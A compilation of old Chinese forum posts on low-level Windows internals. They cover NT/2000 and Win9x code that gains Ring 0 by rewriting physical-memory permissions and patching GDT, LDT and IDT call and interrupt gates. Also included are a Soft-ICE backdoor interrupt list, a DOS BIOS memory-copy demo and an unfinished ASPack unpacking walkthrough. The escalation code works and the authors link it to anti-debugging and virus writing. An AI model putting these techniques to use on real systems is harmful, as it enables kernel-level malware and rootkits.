这段代码对给定HANDLE的对象增加了如下的ACE:

PhysicalMemory
Section
DACL -
Ace[ 0] - Grant - 0x2 - WEBCRAZY\Administrator
Inherit:
Access: 0x0002 //SECTION_MAP_WRITE

这样我们在有Administrator权限的条件下就有了对物理内存的读写能力。但若要修改GDT表实现Ring 0代码。我们将面临着另一个难题，因为sgdt指令获得的GDT地址是虚拟地址(线性地址)，我们只有知道GDT表的物理地址后才能通过\Device\PhysicalMemory对象修改GDT表，这就牵涉到了线性地址转化成物理地址的问题。我们先来看一看Windows NT/2000是如何实现这个的：

kd> u nt!MmGetPhysicalAddress l 30
ntoskrnl!MmGetPhysicalAddress:
801374e0 56 push esi
801374e1 8b742408 mov esi,[esp+0x8]
801374e5 33d2 xor edx,edx
801374e7 81fe00000080 cmp esi,0x80000000
801374ed 722c jb ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
801374ef 81fe000000a0 cmp esi,0xa0000000
801374f5 7324 jnb ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
801374f7 39153ce71780 cmp [ntoskrnl!MmKseg2Frame (8017e73c)],edx
801374fd 741c jz ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
801374ff 8bc6 mov eax,esi
80137501 c1e80c shr eax,0xc
80137504 25ffff0100 and eax,0x1ffff
80137509 6a0c push 0xc
8013750b 59 pop ecx
8013750c e8d3a7fcff call ntoskrnl!_allshl (80101ce4)
80137511 81e6ff0f0000 and esi,0xfff
80137517 03c6 add eax,esi
80137519 eb17 jmp ntoskrnl!MmGetPhysicalAddress+0x57 (80137532)
8013751b 8bc6 mov eax,esi
8013751d c1e80a shr eax,0xa
80137520 25fcff3f00 and eax,0x3ffffc
80137525 2d00000040 sub eax,0x40000000
8013752a 8b00 mov eax,[eax]
8013752c a801 test al,0x1
8013752e 7506 jnz ntoskrnl!MmGetPhysicalAddress+0x44 (80137536)
80137530 33c0 xor eax,eax
80137532 5e pop esi
80137533 c20400 ret 0x4

从这段汇编代码可看出如果线性地址在0x80000000与0xa0000000范围内，只是简单的进行移位操作(位于801374ff-80137519指令间)，并未查页表。我想Microsoft这样安排肯定是出于执行效率的考虑。这也为我们指明了一线曙光，因为GDT表在Windows NT/2000中一般情况下均位于这个区域(我不知道/3GB开关的Windows NT/2000是不是这种情况)。

经过这样的分析，我们就可以只通过用户态程序修改GDT表了。而增加一个CallGate就不是我可以介绍的了，找本Intel手册自己看一看了。具体实现代码如下：

typedef struct gdtr {
short Limit;
short BaseLow;
short BaseHigh;
} Gdtr_t, *PGdtr_t;

ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
return 0;
return virtualaddress&0x1FFFF000;
}

BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{
Gdtr_t gdt;
__asm sgdt gdt;

ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
if(!mapAddr) return 0;

HANDLE hSection=NULL;
NTSTATUS status;
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING objName;
CALLGATE_DESCRIPTOR *cg;

status = STATUS_SUCCESS;

RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");

InitializeObjectAttributes(&objectAttributes,
&objName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
(PSECURITY_DESCRIPTOR) NULL);

status = ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&objectAttributes);

if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
SetPhyscialMemorySectionCanBeWrited(hSection);
ZwClose(hSection);
status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
}

if(status != STATUS_SUCCESS)
{
printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
return 0;
}

PVOID BaseAddress;

BaseAddress=MapViewOfFile(hSection,
FILE_MAP_READ|FILE_MAP_WRITE,
0,
mapAddr, //low part
(gdt.Limit+1));

if(!BaseAddress)
{
printf("Error MapViewOfFile:");
PrintWin32Error(GetLastError());
return 0;
}

BOOL setcg=FALSE;

for(cg=(CALLGATE_DESCRIPTOR *)((ULONG)BaseAddress+(gdt.Limit&0xFFF8));(ULONG)cg>(ULONG)BaseAddress;cg--)
if(cg->type == 0){
cg->offset_0_15 = LOWORD(Entry);
cg->selector = 8;
cg->param_count = 0;
cg->some_bits = 0;
cg->type = 0xC; // 386 call gate
cg->app_system = 0; // A system descriptor
cg->dpl = 3; // Ring 3 code can call
cg->present = 1;
cg->offset_16_31 = HIWORD(Entry);
setcg=TRUE;
break;
}

if(!setcg){
ZwClose(hSection);
return 0;
}

short farcall[3];

farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate;

if(!VirtualLock((PVOID)Entry,seglen))
{
printf("Error VirtualLock:");
PrintWin32Error(GetLastError());
return 0;
}

SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);

Sleep(0);

_asm call fword ptr [farcall]

SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);

VirtualUnlock((PVOID)Entry,seglen);

//Clear callgate
*(ULONG *)cg=0;
*((ULONG *)cg+1)=0;

ZwClose(hSection);
return TRUE;

}

我在提供的代码中演示了对Control Register与I/O端口的操作。CIH病毒在Windows 9X中就是因为获得Ring 0权限才有了一定的危害，但Windows NT/2000毕竟不是Windows 9X，她已经有了比较多的安全审核机制，本文提供的代码也要求具有Administrator权限，但如果系统存在某种漏洞，如缓冲区溢出等等，还是有可能获得这种权限的，所以我不对本文提供的方法负有任何的责任，所有讨论只是一个技术热爱者在讨论技术而已。谢谢！

参考资料：
1.Intel Corp<<Intel Architecture Software Developer's Manual,Volume 3>>


Ring0权限的取得(part1:9X)

 标 题:闲来翻译改写灌水:Ring0权限的取得(part1:9X) (11千字)
发信人:hume
详细信息:
comment $/*
Ring0权限的取得(part1:9X)

翻译改写: Hume/冷雨飘心
原文作者: Super/29A

windows运行在保护模式,保护模式将指令执行分为3个特权级,即众所周知的ring0
~ring3,ring0意味着更多的权利,可以直接执行诸如访问端口等操作,通常一般应用
程序运行于ring3,这没有什么不好,很好的限制了那些刚弄懂Turbo C的小孩搞破坏,
然而当我们需要ring0的时候,比如跟踪,反跟踪,写病毒?麻烦就来了.进入ring0一般
要写VxD或WDM驱动,然而,这对一般人来说并不那么简单,其实由于9X未对IDT,GDT,
LDT加以保护,可以利用这一点漏洞来进入ring0,这是一点入门介绍,其实,ring0也并
不难,下面就是根据Super/29A的文章用Masm改写的例子,改进了一点并加了点注释,
希望对你能有所启发.

以前曾写过用SEH进入ring0的例子.利用seh进入ring0是比较简单的.下面假设你对
保护模式有所了解,如果遇到不懂的地方,赶紧翻翻保护模式教程.

NT/2K/Xp下ring0的取得是一个较困难的课题.关于2k下,webcrazy写了一篇C教程,有
时间用ASM改写一下.

虽然9X肯定会被淘汰,但对ring0的不懈追求将是一个永恒的主题.
*/$
.586p
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h
include mac.h

;;--------------
.DATA
sztit db "By Hume,2002",0

Freq db 08h ;发声频率
gdtR df 0
idtR df 0
ldtR dw 0 ;the contents of GDTR,IDTR,LDTR

ldtDes dw 0
dw 0 ;LDT Limit
dd 0 ;LDT Base
Callgt dq 0 ;call gate's sel:off
;;-----------------------------------------
.CODE
__Start:
sgdt fword ptr gdtR
sidt fword ptr idtR
sldt word ptr ldtR ;save them for later use

;-----------------------
; get the ldt mes
;-----------------------
movzx esi,ldtR
add esi,dword ptr [gdtR+2]

mov ax,word ptr [esi]
mov word ptr [ldtDes],ax
mov ax,word ptr [esi+6]
and ax,0fh
mov word ptr [ldtDes+2],ax ;get ldt Limit

mov eax,[esi+2]
and eax,0ffffffh
mov ebx,[esi+4]
and ebx,0ff000000h
add eax,ebx
mov dword ptr [ldtDes+4],eax ;get ldt Base
;-------------------------------------
; 这里演示在GDT中寻找空白表项来制造调用门
;-------------------------------------
mov esi,dword ptr [gdtR+2]
movzx eax,word ptr [gdtR]
call Search_XDT
;esi==gdt Base
mov esi,dword ptr [gdtR+2]
push offset myring0_prc_callgt
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6] ;Offset

mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h ;sel=28h and attribute ->386 call gate!

and dword ptr Callgt,0

mov word ptr [Callgt+4],ax
call fword ptr [Callgt] ;Ring0!

;--------------------------------------------
; 这里演示在Ldt中制造调用门
;--------------------------------------------
invoke MessageBox,0,CTEXT("Call gate to Ring0!继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000 ;继续演示?

mov esi,dword ptr [ldtDes+4]
mov eax,dword ptr [ldtDes]

call Search_XDT ;eax返回找到的空白选择子
mov esi,dword ptr [ldtDes+4]

push offset myring0_prc_callgt
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6] ;Offset

mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h ;sel=28h and attribute ->386 call gate!

and dword ptr Callgt,0
or al,7h ;所以选择子一定要指向LDT
mov word ptr [Callgt+4],ax
call fword ptr [Callgt] ;Ring0!

; *通过中断门进入ring0,像在Dos下一样,我们只要替换中断向量表的地址以指向我们
; *自己的程序就可以了,不过在win下中断向量表变为IDT(中断描述符表),其第0~1保存
; *中断处理程序偏移的低16位,6~7字节保存偏移的高16位,我们必须使描述符具有DPL=3
; *以便在ring3下转入中断程序,而int 01h,03h,04h,05h,30h本来就是DPL=3,我们可
; *以方便地利用之,注意中断处理程序返回用iret
;---------------------------
; 下面利用int 5进入ring0
;---------------------------
invoke MessageBox,0,CTEXT("Int gate to Ring0 By Int 5 !继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000 ;继续演示?

mov esi,dword ptr [idtR+2]
push dword ptr [esi+8*5]
push dword ptr [esi+8*5+4] ;保存中断描述符

push offset myring0_prc_Intgt
pop word ptr [esi+8*5]
pop word ptr [esi+8*5+6]
int 5 ;进入ring0!
;int 3 ;//可选择利用int 3
;db 0CCh ;//则保存和恢复就改为8*3
;为了增强反跟踪效果
;当然也可以利用int 1,方法一致不过可能在某些处理器上冲突
pop dword ptr [esi+8*5+4] ;恢复
pop dword ptr [esi+8*5+0]

; *当然,上面使用的全部是DPL=3的int如1,3,5等,如果我们准备使用任意int 来达到
; *目的该怎么办?这就需要自己改int descriptor 的属性值,使DPL=3,sel=28h
; *如下面使用int 255
; *__________________________________________
invoke MessageBox,0,CTEXT("Int gate to Ring0 By Int X !继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000 ;继续演示?

movzx ebx,word ptr [idtR] ;会是什么?没有关系
sub ebx,7

push dword ptr [esi+ebx+0] ; save IDT entry
push dword ptr [esi+ebx+4]

push offset myring0_prc_Intgt
pop word ptr [esi+ebx+0]
mov word ptr [esi+ebx+2],28h ;ring0 Sel
mov word ptr [esi+ebx+4],0EE00h ;386中断门,DPL=3
pop word ptr [esi+ebx+6]

mov eax,ebx
shl eax,5
add eax,90C300CDh

push eax
call esp ; 在堆栈中形成指令 int 5Fh ret直接转入执行!
pop eax ; int调用,酷吧!

pop dword ptr [esi+ebx+4]; 恢复
pop dword ptr [esi+ebx+0]
; *
; *还有其他的方法进入ring0,如陷阱门,与中断门基本一致,只不过是让硬件自己产生中断
; *我们则自己置TF=1引发之,注意在中断处理中关闭TF,否则会造成死不断单步,还有故障门,
; *产生故障之后注意cs:eip已经压入堆栈,如果不改指令的话,就得自己修改eip指向安全地址
; *故障门的好处在于不必自己置sel为28h,也不必担心DPL=0,操作系统为我们准备好了一切
; *我们只要替换int处理地址就行了,以下是简单例子
; *__________________________________________
invoke MessageBox,0,CTEXT("Trap gate to Ring0 By Int 1!继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000 ;继续演示?
;---------------------------------
; int1 单步陷阱或者int4 除法溢出陷阱
; 这里演示int 1,int 4类似
; 这个和上面的有不同吗,有!就是int 1
; 是由CPU而不是我们显式用int 1指令引发
;---------------------------------
push dword ptr [esi+(8*1)+0] ; 保存原int 1
push dword ptr [esi+(8*1)+4]

push offset myring0_prc_Trapgt
pop word ptr [esi+(8*1)+0]
pop word ptr [esi+(8*1)+6]

pushfd
pop eax
or ah,1
push eax
popfd ; TF=1

nop ; ring0!

pop dword ptr [esi+(8*1)+4]; restore IDT entry
pop dword ptr [esi+(8*1)+0]
;--------------------------------------------
; 这里演示故障门,除法错误
;--------------------------------------------
invoke MessageBox,0,CTEXT("Fault gate to Ring0!继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000 ;继续演示?

push dword ptr [esi+(8*0)+0] ;
push dword ptr [esi+(8*0)+4]

push offset Ring0Code_div
pop word ptr [esi+(8*0)+0]
pop word ptr [esi+(8*0)+6]

xor eax,eax
div eax ; 除法错误,进入故障门ring0!
;-----------------------------------------

@xit000:
invoke ExitProcess,0
;-----------------------------------------
Ring0Code_div proc far

pushad
call Beeps
popad

add dword ptr [esp],2 ; 修改Eip,略过除错指令继续执行

iretd

Ring0Code_div endp

myring0_prc_Trapgt proc far
pushad ;注意压栈结构为
mov ecx,10 ;EIP
ambalance002: ;cs
push ecx ;EFLAGS
call Beeps
pop ecx
loop ambalance002
popad
and byte ptr [esp+9],0FEh ;一定要置TF=0,终止
iretd ;注意iretd,不是iret(w)
myring0_prc_Trapgt endp

myring0_prc_Intgt proc far
pushad
mov ecx,10
ambalance001:
push ecx
call Beeps
pop ecx
loop ambalance001
popad
iretd
myring0_prc_Intgt endp

myring0_prc_callgt proc far
pushad
mov ecx,10
ambalance:
push ecx
call Beeps
pop ecx
loop ambalance
popad
retf
myring0_prc_callgt endp
;-----------------------------------------
Search_XDT proc near ;entry esi==Base of Ldt or GDT
;Eax==Limit
pushad
mov ebx,eax
mov eax,8 ; skipping null selector
@@1:
cmp dword ptr [esi+eax+0],0
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven't found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad
ret
Search_XDT endp
;-----------------------------------------
Beeps proc near ;经典的发声子程序,学dos的时候应该
pushad ;没少用吧...
mov al,0B6h
out 43h,al
mov al,[Freq] ;接口要求,不要多问

out 42h,al
out 42h,al

xor byte ptr [Freq],0Ch ; 换频率
; 以便下次发出不同的音高
in al,61h
or al,3
out 61h,al
mov ecx,1000000h ;延时
loop $

and al,0FCh ;关声音
out 61h,al
popad
ret
Beeps endp
END __Start
___________________________________________________Over...___________

标 题:这段代码主程序部分够简练吧,还可以优化? (1千字)
发信人:hume
时 间:2002-2-24 13:07:58
详细信息:

;发声部分不在优化之列

.586
.model flat, stdcall
option casemap :none ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h

int_num equ 5
;;--------------
.DATA
sztit db "By hume,2002",0
errmsg db "Error Ocurred!",0
msg db "Ring0 Succ!",0

;;-----------------------------------------
.CODE
__Start:
assume fs:nothing
call set_seh
lea eax,errmsg
jmp ExitP
set_seh:
push dword ptr fs:[0]
mov fs:[0],esp

push 0
sidt [esp-2]
pop ebx
add ebx,int_num*8+4
mov ecx,[ebx]
mov cx,[ebx-4] ;ecx=int Des offset
lea esi,my_int
mov [ebx-4],si
shr esi,16
mov [ebx+2],si
int int_num
mov [ebx-4],cx
shr ecx,16
mov [ebx+2],cx
pop dword ptr fs:[0]
mov dword ptr [esp],offset msg
pop eax

ExitP:
invoke MessageBox,0,eax,addr sztit,40h+MB_SYSTEMMODAL
invoke ExitProcess,0

my_int: ; now in Ring-0
mov ecx,50
@lop1:
push ecx
call beeps
pop ecx
loop @lop1

iretd ; return to caller
beeps:
pushad
mov ax, 1000
mov bx, 800
mov cx, ax
mov al, 0b6h
out 43h, al
mov dx, 0012h
mov ax, 34dch
div cx
out 42h, al
mov al, ah
out 42h, al
in al, 61h
mov ah, al
or al, 03h
out 61h, al
l1:
mov ecx, 4680
l2:
loop l2
dec bx
jnz l1
mov al, ah
out 61h, al

popad
ret
END __Start


WIN95中代码不用VXD获得0级特权的方法

 标 题:WIN95中代码不用VXD获得0级特权的方法（转载） (2千字)
时 间:2001-10-28 10:55:03
详细信息:
WIN95中代码不用VXD获得0级特权的方法
袁哥
作过WIN95的程序的程序员可能都知道WIN95提供了VXD驱动接口，以方便第三方软件
人员编写驱动程序，WIN95把他们（VXD）放在CPU的0级特权下执行，可以直接访问硬件，
还有执行一些特权指令。而我们往往就需要程序能直接访问硬件或者执行特权指令，但
又不方便再增加一个文件（VXD与程序文件是分开的），还有一个原因是VXD的编写不熟，
那就希望在自己的程序里能获得CPU0级的特权。WIN95是没给应用程序这特权的，应用程
序是在CPU3级下执行.怎么办呢？
让我们想一想CPU硬件上到底是怎样区分代码是在几级执行的？原来是段描述符里，
那我们自然想到自己能不能修改段描述符呢？段描述符是放在GDT，LDT(应用程序的一
般是放在LDT里)。关键就得找到LDT,看怎样想办法能获得改写他的权利。那LDT在哪里
呢？我们再想一想，WIN95肯定得访问他吧。分配段什么的，就得在上面建立段描述符。
我们来找一找WIN95的API里有这样的函数吗？
很高兴找到了AllocDstoCsAlias等。那我们来看一看这API怎么访问的。我们编一
小程序调用这API，再用TDW调试软件跟踪。真高兴，这API是在CPU3级执行，但这处理
过程完全在里面，原来WIN95的LDT本声有一个3级的数据段指向他，还可写的呢。3级，
那不我也可以读写了吗，我也可以自己建立段描述符了呀，还有调用门呀，可以给自己
开几个后门呀。
下面就是用16位的BORLAND C编写的获得这数据段的程序段：

LPSTR LibFileName="krnl386.exe\0";
LPSTR FunName="AllocCStoDSAlias\0";
FARPROC FunAddress;
HANDLE LibHandle;
WORD segFun ;

LibHandle=LoadLibrary(LibFileName);
FunAddress=GetProcAddress(LibHandle,FunName);
segFun=HIWORD(FunAddress);
_DX=segFun;
asm {
push ds
mov ds,dx
mov dx,word ptr [0x6] //指向windows95的局部描述符的数据段，
// window3.2 mov ds,word ptr [0x32]
//你可以分析各个版本的不同，加上版本等。
pop ds
}
现在的DX就是这数据段，你可以在这上面建立0级代码段还有调用门，你最好是先用API
分配一个段描述符，再在上面修改，用完后释放，要不你建立的系统再改写那就完了。
相信现在你可以自由发挥了。什么打狗棒呀，端口读写的拦截，磁盘解密呀都轻轻松松
了！还有你可以访问系统本生，象动态翻译软件的显示API的拦截你可以在系统内部做到，
避免在显示API的开始用JMP的弊病。还有你编程得小心了，要不系统会死翘翘的哟！
WINNT的处理是通过中断门进入了0级，所以指向LDT的数据段是0级的，但大家也可
以去分析分析WINNT，想想别的办法（相应WIN95里的VXD，在WINNT里有SYS，一般在目录
%SYSTEM%\system32\drivers\里的.SYS文件就是）。


中断3

 标 题:中断3的说明，如有比这更详细的，请跟贴！ (1千字)
发信人:藏狼
时 间:2001-10-18 23:09:58
详细信息:
Int 03 - CPU-generated - BREAKPOINT
Int 03 - Columbia PCs (desktop,VP portables) - ROM DEBUGGER
Int 03 - Realia COBOL - DEBUGGER SUPPORT
Int 03 - Watcom WVIDEO, Watcom WD - OUTPUT DEBUGGING MESSAGE
Int 03 - DTown Utilities - POP UP
Int 03/AX=0000h - Soft-ICE - BACK DOOR COMMANDS - GET Soft-ICE VERSION
Int 03/AH=01h - Soft-ICE - BACK DOOR COMMANDS - ???
Int 03/AX=0900h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=0902h - Soft-ICE v2.80 - BACK DOOR COMMANDS - POPUP & START A DEBUG SESSION
Int 03/AX=0903h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=0907h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=090Ah - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=090Bh - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=0910h - Soft-ICE - BACK DOOR COMMANDS - DISPLAY STRING IN Soft-ICE WINDOW
Int 03/AX=0911h - Soft-ICE - BACK DOOR COMMANDS - EXECUTE Soft-ICE COMMAND
Int 03/AX=0912h - Soft-ICE - BACK DOOR COMMANDS - GET BREAKPOINT INFORMATION
Int 03/AX=0913h - Soft-ICE v2.5x - BACK DOOR COMMANDS - SET Soft-ICE BREAKPOINT
Int 03/AX=0914h - Soft-ICE v2.5x - BACK DOOR COMMANDS - REMOVE Soft-ICE BREAKPOINT
Int 03/AX=0918h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AH=10h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AH=11h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=130Ch - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=130Eh - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=1313h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???
Int 03/AX=0900h - Soft-ICE v2.80 - BACK DOOR COMMANDS - ???


由一只病毒说开去（下）！

 标 题:由一只病毒说开去（下）！ (5千字)
发信人:kobe
时 间:2001-10-1 23:21:49
详细信息:
由一只病毒说开去（下）！
by kobe
这次下集隔了好久才跟大家见面，因为学校机房不允许调试程序,故上次我说要手工
杀毒的话不能兑现了，不过那个所谓的“乾坤大挪移”，还是很简单的，前几年看台湾
的文章，这招经常出现，无论TPVO的杂志还是软蛀的文章都提到过的，其实实现起来很
简单了，也就是反反跟踪了（千万别以为我是结巴，就是反--反跟踪）。
大家知道VIRUS的作者和一些对软件加密意识较强的程序员会改写一些特定的中断向量
，因为一些调试软件如DEBUG等在单步执行时会调用INT 1H和INT 3H。反跟踪的一般做法
是随便用一个地址代替向量地址！这样当单步发生时用的是那个胡乱指定的地址，天知道指到哪去！！当然你在反反跟踪时也可准备一份你机子上的中断大集合（抄到纸上， 有一定可行性）最好是在内存中有一个副本不更好么？

下面给出源码，注意转载不的更改程序信息！
该程序关键在于GDT（全局描述表）的结构，和高位内存之间COPY的方法！！
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;move.asm;;;;;;;;;;;;;;;;;;;;;;;;;;
;The programme is written by kobe(jim zhu)
;;;;;;;;;;;(c)COPYRIGHT
;http://kobesworld.yeah.net
;email:warmwaters@21cn.com
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;cut here;;;;;;;;;;;;;;;;;;;;;;;
showtime SEGMENT
ASSUME cs:showtime,ds:showtime
ORG 100H
start: jmp movit ;典型COM执行档的开头
des_table label WORD ;全局描述表(GDT)之定义!下面我会给出
;GDT的格式,这可是很有意思的
;别的书上绝对没有!
first16b dw 8 dup(0)

source dw 0ffffh
s_3byte dw 0000h
db 00h;把0：0处的向量表移到8000：0000处
db 93h
dw 0000h
target dw 0ffffh
t_3byte dw 0000h
db 08h;移到8000:0000处！！（最大只能到8000：0000了）
db 93h
dw 0000h
last16b dw 8 dup(0)

movit:
;ASSUME cs:showtime,ds:showtime
mov ax,cs
mov es,ax
mov si,offset des_table;ES:SI=须建的GDT地址,全局 ;描述符表布局起点
mov cx,200h;CX=拷贝的字数(最大8000H)
mov ah,87h;AH=87H,INT 15H,BIOS调用!
int 15h;该调用用于保护方式传递数据(1MB以上的拷贝)
;AH=0成功,自己可用DEBUG调试验证之!
mov ah,4ch
int 21h;结束
showtime ends
end start;程序结束
;;;;;;;;;;;;;cut here;;;;;;;;;;;;;;;;;;;;;;;;;;;
===================================================================
GDT之格式！
偏移 长度 说明
00H 16byte 零
10H 1word 源段字节长（2*CX-1或更大）
12H 3byte 24位线性源地址，低字节在前
15H 1byte 源段访问权（93H）
16H 1word 零
18H 1word 目的字节长（2*CX-1或更大）
1AH 3byte 24位线性目的地址，低字节在前
1DH 1byte 目的段访问权（93H）
1EH 1word+16byte 零
======================================================================
以上程序有TASM和TLINK编译，连接！读者可在执行该程序后用DEBUG
看看0：0的内容和8000：0000的是不是一样！！！！！
我把我列写的结果给大家看看（用DOS管道操作符>>来得到结果！
DEBUG >>1.TXT)：
1。执行MOVE.EXE前：
-d 0:0
0000:0000 9E 0F C9 00 65 04 70 00-16 00 C8 07 65 04 70 00 ....e.p.....e.p.
0000:0010 65 04 70 00 54 FF 00 F0-5F 9B 00 F0 53 11 00 F0 e.p.T..._...S...
0000:0020 00 00 00 C8 28 00 C8 07-3A 00 C8 07 52 00 C8 07 ....(...:...R...
0000:0030 6A 00 C8 07 82 00 C8 07-9A 00 C8 07 65 04 70 00 j...........e.p.
0000:0040 07 00 70 C8 4D F8 00 F0-41 F8 00 F0 17 25 60 FD ..p.M...A....%`.
0000:0050 39 E7 00 F0 40 02 17 02-2D 04 70 00 28 0A 1A 03 9...@...-.p.(...
0000:0060 59 FF 00 F0 2F 00 89 08-6E FE 00 F0 04 06 1A 03 Y.../...n.......
0000:0070 1D 00 00 C8 A4 F0 00 F0-22 05 00 00 E0 66 00 C0 ........"....f..
-d 8000:0000
8000:0000 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8000:0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8000:0020 28 01 00 00 02 00 00 00-17 3C F9 FF 63 22 D6 7E (........<..c".~
8000:0030 63 22 97 7E 01 00 00 00-17 A2 FE FF 08 00 00 00 c".~............
8000:0040 00 00 00 00 43 3A 5C 57-49 4E 44 4F 57 53 5C 53 ....C:\WINDOWS\S
8000:0050 59 53 54 45 4D 5C 57 49-4E 4F 41 33 38 36 2E 4D YSTEM\WINOA386.M
8000:0060 4F 44 00 00 00 00 00 00-00 00 00 00 00 00 00 00 OD..............
8000:0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
-q

2。执行MOVE.EXE后：
-d 0:0
0000:0000 9E 0F C9 00 65 04 70 00-16 00 C8 07 65 04 70 00 ....e.p.....e.p.
0000:0010 65 04 70 00 54 FF 00 F0-5F 9B 00 F0 53 11 00 F0 e.p.T..._...S...
0000:0020 00 00 00 C8 28 00 C8 07-3A 00 C8 07 52 00 C8 07 ....(...:...R...
0000:0030 6A 00 C8 07 82 00 C8 07-9A 00 C8 07 65 04 70 00 j...........e.p.
0000:0040 07 00 70 C8 4D F8 00 F0-41 F8 00 F0 17 25 60 FD ..p.M...A....%`.
0000:0050 39 E7 00 F0 40 02 17 02-2D 04 70 00 28 0A 1A 03 9...@...-.p.(...
0000:0060 59 FF 00 F0 2F 00 89 08-6E FE 00 F0 04 06 1A 03 Y.../...n.......
0000:0070 1D 00 00 C8 A4 F0 00 F0-22 05 00 00 E0 66 00 C0 ........"....f..
-d 8000:0000
8000:0000 9E 0F C9 00 65 04 70 00-16 00 C8 07 65 04 70 00 ....e.p.....e.p.
8000:0010 65 04 70 00 54 FF 00 F0-5F 9B 00 F0 53 11 00 F0 e.p.T..._...S...
8000:0020 00 00 00 C8 28 00 C8 07-3A 00 C8 07 52 00 C8 07 ....(...:...R...
8000:0030 6A 00 C8 07 82 00 C8 07-9A 00 C8 07 65 04 70 00 j...........e.p.
8000:0040 07 00 70 C8 4D F8 00 F0-41 F8 00 F0 17 25 60 FD ..p.M...A....%`.
8000:0050 39 E7 00 F0 40 02 17 02-2D 04 70 00 28 0A 1A 03 9...@...-.p.(...
8000:0060 59 FF 00 F0 2F 00 89 08-6E FE 00 F0 04 06 1A 03 Y.../...n.......
8000:0070 1D 00 00 C8 A4 F0 00 F0-22 05 00 00 E0 66 00 C0 ........"....f..
-q

本文到次就告一个段落了！请大家务必手头有DOS/BIOS调用参考手册！！
要不我就等于白费口舌了！！！！


Aspack2.12 加的壳

 主题： 怎样脱用 Aspack2.12 加的壳（适合初学者）
时间：2002/01/12 10:09pm
作者：一块三毛钱

今天上网下载了个 Aspack2.12，不知它的加壳有没有变化，让我们来看看。
试验对象是 Windows 自带的记事本程序，压缩前 52KB，压缩后 32.5KB。好，开工了。

先用 fi 检查壳的类型，报告显示 PE Win GUI *UNKNOWN*，没关系，自己加的壳还用怀疑吗。
接着用 Trw2000 加载程序，Load，程序被中断在如下代码处

0167:0040D001 60 PUSHAD
0167:0040D002 E803000000 CALL 0040D00A

按 F8 跟进去（这时如果按 F10 的话程序会直接运行）

0167:0040D00A 5D POP EBP
0167:0040D00B 45 INC EBP
0167:0040D00C 55 PUSH EBP
0167:0040D00D C3 RET

按一下 F10 看到下面的代码

0167:0040D008 EB04 JMP 0040D00E

按一下 F10 看到下面的代码

0167:0040D00E E801000000 CALL 0040D014

按 F8 跟进去，来到下面

0167:0040D014 5D POP EBP
0167:0040D015 BBEDFFFFFF MOV EBX,FFFFFFED
0167:0040D01A 03DD ADD EBX,EBP
0167:0040D01C 81EB00D00000 SUB EBX,0000D000
0167:0040D022 83BD2204000000 CMP DWord Ptr [EBP+00000422],00000000
0167:0040D029 899D22040000 MOV [EBP+00000422],EBX
0167:0040D02F 0F8565030000 JNZ 0040D39A (NO JUMP) <--- 注意，下断点 bpx 0040D39A
0167:0040D035 8D852E040000 LEA EAX,[EBP+0000042E]
0167:0040D03B 50 PUSH EAX
0167:0040D03C FF954D0F0000 CALL Near [`KERNEL32!GetModuleHandleA`]
0167:0040D042 898526040000 MOV [EBP+00000426],EAX
0167:0040D048 8BF8 MOV EDI,EAX
0167:0040D04A 8D5D5E LEA EBX,[EBP+5E]
0167:0040D04D 53 PUSH EBX
0167:0040D04E 50 PUSH EAX
0167:0040D04F FF95490F0000 CALL Near [`KERNEL32!GetProcAddress`]

下断点后，按 F5，程序来到下面的代码处

